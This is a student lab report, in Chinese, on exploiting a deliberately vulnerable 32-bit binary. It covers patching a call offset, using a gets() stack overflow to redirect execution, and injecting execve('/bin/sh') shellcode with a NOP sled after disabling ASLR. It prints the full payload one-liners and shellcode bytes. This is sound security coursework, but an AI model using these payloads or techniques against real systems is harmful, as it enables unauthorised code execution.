20242313曾海鹏网络攻防实验1实验报告
20242313 《网络与系统攻防技术》实验一实验报告
学号:20242313 姓名:曾海鹏 主机名:zenghaipeng
1. 基础知识
本次实验用到的基础知识总结如下:
1.1 常用汇编指令机器码
- NOP(空指令):CPU什么也不做,顺序执行下一条指令,机器码
90。在shellcode中常作为"滑行区",只要返回地址落到任意一个nop上,就会一路滑到shellcode。 - JNE(不等则跳转):机器码
75。 - JE(相等则跳转):机器码
74。 - JMP(无条件跳转):段内近跳转机器码
E9,后面跟4字节偏移。 - CMP(比较):做减法但不保存结果,只影响标志位,供条件跳转判断。
- CALL指令:机器码
E8,后面跟4字节补码偏移。CPU执行call时EIP已经指向下一条指令,实际跳转目标 = 下条指令地址 + 补码偏移。这是任务一改call目标的核心原理。
1.2 反汇编与十六进制编辑
objdump -d 文件名:把ELF可执行文件反汇编成汇编指令,用来找函数地址和call指令。- vi + xxd:在vi里用
:%!xxd切到十六进制模式,改完后:%!xxd -r切回二进制再保存。注意xxd按每2字节一组显示,所以e8 d7在界面上可能显示成f0e8 d7ff这种分组,搜索时要按分组后的实际字节搜。
1.3 缓冲区溢出(BOF)原理
函数调用时栈上依次压入:函数参数、返回地址(eip)、保存的ebp,然后是局部变量缓冲区。foo函数用 gets() 读入字符串,gets不检查长度,当输入超过缓冲区大小(本例28字节)时,多余字符会依次覆盖保存的ebp和返回地址。只要把返回地址改成我们想跳的地址,程序就会跳到那里执行。
x86是小端字节序,所以内存地址 0x0804847d 在输入时要写成 \x7d\x84\x04\x08。
1.4 Shellcode与防御
shellcode就是一段机器指令,最初用来弹一个shell(execve("/bin/sh")),现在泛指注入运行的任意代码。本实验用的25字节shellcode通过 int 0x80 调用系统调用11号execve。
防御技术:栈保护(Canary)在返回地址前放一个随机数,被改就崩溃;NX/DEP把栈标记为不可执行;ASLR让栈和代码段每次加载地址随机,攻击者猜不到shellcode在哪。本实验为了学原理,把这些都关掉了。
2. 实验内容与方案
实践对象是一个名为pwn1的32位Linux ELF可执行文件,里面有main、foo、getShell三个函数。main调用foo,foo用gets()回显用户输入,存在缓冲区溢出漏洞;getShell会弹出一个shell但正常不被调用。
实验环境:Kali Linux虚拟机(主机名zenghaipeng),工具用了objdump反汇编、gdb调试、vi+xxd十六进制编辑、perl构造二进制payload。pwn1是32位ELF(e_machine=0x3)。
三个任务,层层递进,对应现实里三种攻击场景:
- 直接改文件:十六进制编辑器改pwn1的机器指令,把main里call foo改成call getShell——对应"不碰输入,纯改文件劫持执行流"。
- BOF覆盖返回地址:利用foo的溢出漏洞,构造输入字符串覆盖返回地址,让它跳去getShell——对应"通过输入构造攻击参数"。
- 注入shellcode:关掉栈不可执行和ASLR,往栈上注入自己写的机器指令并执行——对应"运行任意代码"。
3. 实验过程
3.1 环境准备
在Kali虚拟机中,先把主机名改成自己姓名拼音:hostname zenghaipeng,新终端左上角显示 kali@zenghaipeng 即成功。
同学发的pwn1.zip解压后得到pwn1,把它拷到家目录并改名,文件名带上学号:
cp pwn1 ~/pwn20242313zenghaipeng
chmod +x ~/pwn20242313zenghaipeng
先正常跑一下 ./pwn20242313zenghaipeng,输入什么就回显什么,确认文件没问题。

3.2 任务一:修改call指令,直接跳getShell
反汇编找关键地址:
objdump -d pwn20242313zenghaipeng | more
看到三个关键函数:
0804847d <getShell>: ← 目标函数地址
08048491 <foo>:
080484af <main>:
80484b5: e8 d7 ff ff ff call 8048491 <foo> ← 要改这行
80484ba: b8 00 00 00 00 mov $0x0,%eax ← call的下条指令地址



原理:call机器码e8后面跟的是4字节补码偏移。CPU执行时EIP已经指向下条指令80484ba,跳转目标 = 80484ba + 偏移。现在偏移是 d7ffffff(补码-41),80484ba-41=8048491正好是foo。
想跳getShell(804847d),新偏移 = 804847d - 80484ba = -61,补码就是 c3ffffff。所以只要把文件里的 d7 改成 c3。
复制一份来改:cp pwn20242313zenghaipeng pwn20242313-1,然后 vi pwn20242313-1:
- 按ESC,输入
:%!xxd切到十六进制模式 - 搜索
/d7ff(注意:xxd按2字节分组,e8和d7被拆开了,搜/e8d7搜不到,必须搜/d7ff) - 找到后把光标移到 d7 上,按
r,输入c3 :%!xxd -r切回二进制:wq!保存(普通:wq报E453只读,要加感叹号强制写)
![1790757830641]()
验证:objdump -d pwn20242313-1 | more,main里那行变成了 call 804847d <getShell>,说明改对了。

运行 ./pwn20242313-1,直接出现shell提示符 #,输入ls能列文件,任务一完成。

3.3 任务二:BOF覆盖返回地址跳getShell
重新复制原文件:cp pwn20242313zenghaipeng pwn20242313-2。用gdb调试,先确认输入的第几个字符会盖到返回地址。
gdb pwn20242313-2
r运行,输入1111111122222222333333334444444455555555- 程序段错误,
info r eip显示 eip =0x35353535(字符5的ASCII),说明第33~36个字符盖到了返回地址

再跑一次,输入 ...4444444412345678,info r eip 显示 eip = 0x34333231,正好是"1234"倒过来(小端序)。确认:第33~36字节就是返回地址位置。

getShell地址是 0x0804847d,小端序写成 \x7d\x84\x04\x08。用perl构造payload(键盘打不出\x7d这种字节):
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input 检查,最后一行应该是 7d84 0408 0a。

注入:(cat input; cat) | ./pwn20242313-2,回显一堆字符后直接拿到shell,输入ls列出文件,任务二完成。

3.4 任务三:注入自己的shellcode
复制原文件:cp pwn20242313zenghaipeng pwn20242313-33。
先关防护:
echo 0 > /proc/sys/kernel/randomize_va_space # 关ASLR地址随机化
more /proc/sys/kernel/randomize_va_space # 确认输出0
栈可执行性:本想用 execstack -s,但Kali源里没有这个包。用Python读ELF的PT_GNU_STACK段发现p_flags=0x7(RWX),说明这个程序栈本来就是可执行的,不需要再设。

payload布局用RNS方式(32个A填到返回地址 + 返回地址 + nop滑行区 + shellcode)。shellcode用标准的25字节execve("/bin/sh"):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
先用占位地址 \x01\x02\x03\x04 构造payload跑起来,再另开终端gdb attach上去找shellcode真实地址:
(cat input_shellcode; cat) | ./pwn20242313-33 # 卡住等gets
ps -ef | grep pwn20242313-33 # 找PID
gdb pwn20242313-33
gdb里:
attach <PID>
break *0x080484ae # foo的ret
c
回原终端按一下回车,断点命中后 info r esp,再 x/16x $esp。看到栈顶 [esp]=0x04030201(占位返回地址),紧接着 [esp+4] 就是 0x90909090(nop滑行区),由此定位shellcode地址。




踩坑:第一次测完直接把地址填进去跑,段错误。发现gdb里直接 run < 文件 测出来的栈地址,和实际piped运行差了0x20字节(gdb本身占了点栈);而且即使关了ASLR,栈地址每次也会浮动0x10左右。解决办法是把nop滑行区加长到200个,返回地址指向滑行区中间,这样不管栈偏一点,都能滑到shellcode。
最终payload:32个A + \x80\xcf\xff\xff(0xffffcf80,滑行区中间)+ 200个 \x90 + shellcode + \x0a:
perl -e 'print "A" x 32;print "\x80\xcf\xff\xff";print "\x90" x 200;print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode
xxd input_shellcode 开头能看到 4141... 然后 80cf ffff,后面一大片 9090 9090。

注入:(cat input_shellcode; cat) | ./pwn20242313-33,回显乱码后直接拿到shell,输入ls列出文件,任务三完成!

4. 问题及解决方案
-
问题1:vi里输入
/e8d7搜索报"找不到"。- 解决方案:xxd是按每2字节一组显示的,e8和d7被拆到了不同的组里(界面上显示成
f0e8 d7ff),所以连起来搜e8d7搜不到。改成搜/d7ff就能精确定位到call指令的偏移字节。
- 解决方案:xxd是按每2字节一组显示的,e8和d7被拆到了不同的组里(界面上显示成
-
问题2:vi里
:wq保存报E453 "readonly option is set"。- 解决方案:这个文件是从共享目录拷过来的,可能带了只读属性。用
:wq!强制写入即可。
- 解决方案:这个文件是从共享目录拷过来的,可能带了只读属性。用
-
问题3:gdb里直接
run < input_test测出来的shellcode地址,填进去跑就段错误。- 解决方案:gdb直接启动程序时,gdb自己会往栈上放东西,导致栈比正常piped运行低了0x20字节。必须用gdb attach挂在一个已经通过管道正常跑起来的进程上测地址,那才是真实运行时的栈地址。
-
问题4:用测出来的地址填payload跑还是段错误。
- 解决方案:即使关了ASLR,每次运行栈地址还是会浮动十几个字节,固定地址对不上。于是把nop滑行区从6个加长到200个,返回地址指向滑行区中间0xffffcf80,这样栈上下浮动一点都能滑到shellcode,一次成功。
-
问题5:execstack装不上。
- 解决方案:Kali软件源里没有execstack这个包。查了一下pwn1这个ELF的PT_GNU_STACK段p_flags=0x7(RWX),栈本来就标了可执行,不需要再execstack -s。
5. 学习感悟、思考等
这次实验从改一个字节到注入一段自己的代码,层层递进,做完之后对"程序是怎么跑起来的"这件事理解具体了很多。以前只在课本上听过缓冲区溢出,真的用gdb看到eip被我们输入的字符覆盖成0x35353535的时候,才直观感受到栈溢出到底是怎么回事——原来函数返回地址就在缓冲区上面隔着28个字节,多敲几个键就能改CPU下一条要执行的指令。
任务一改call偏移的时候,一开始不明白为什么e8后面跟的不是目标地址而是个负数补码,自己拿80484ba加了一下d7ffffff对上foo地址才想通:call是相对跳转,存的是相对下条指令的偏移。任务三最磨人,gdb attach定位地址、第一次段错误、发现gdb里测的地址和真实运行差了0x20、再到栈地址浮动要用nop滑行区兜底,来回调了好几次。也算是明白为什么书上说nop滑行区是"着陆区"——猜地址不需要百分百准,落到任意一个nop上就行。
另外一个感受是,真实世界里这些攻击之所以难成功,是因为现代系统一层一层加了防护:Canary拦栈溢出、NX让栈上的代码跑不了、ASLR让你猜不到地址。本实验是把这些全关了才打得通,这也反过来让我理解了为什么写程序要检查边界、为什么栈不该可执行。以后自己写代码,碰到gets这种不检查长度的函数会多留个心眼。


浙公网安备 33010602011771号